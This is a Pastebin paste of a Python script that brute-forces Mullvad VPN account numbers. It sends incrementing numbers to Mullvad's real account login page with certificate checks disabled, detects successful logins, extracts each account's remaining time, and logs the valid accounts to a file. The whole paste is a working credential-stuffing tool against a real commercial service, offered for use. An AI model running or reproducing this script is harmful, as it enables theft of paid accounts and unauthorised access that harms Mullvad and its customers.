Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import re
- # Function to process the page and extract data
- def page_data(page, data):
- print('Successful Login')
- print('')
- page = page.replace(" ", "").replace("\n", "") # Remove spaces and new lines
- # Extract time left from the page content using regex
- time = re.search(r'Timeleft:<.strong>(.*?)<.p>', page)
- if time:
- print(time.group(1))
- with open('mullvad.txt', 'a') as write:
- write.write(f"Account: {data} {time.group(1)}\n")
- data = "200875416016"
- attempts = 0
- # Loop for brute-forcing
- while True:
- url = 'https://mullvad.net/en/account/'
- payload = {'account': data}
- headers = {'User-Agent': 'Mozilla/5.0'}
- # Send POST request to Mullvad
- response = requests.post(url, data=payload, headers=headers, verify=False)
- # Print attempt number
- attempts += 1
- print(f"Attempted Account: {data}")
- print(f"Attempts {attempts}")
- # Check for login failure
- if 'Not logged in' in response.text:
- print("Failed Login")
- elif 'Ports' in response.text:
- page_data(response.text, data)
- # Increment account number for the next attempt
- data = str(int(data) + 1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement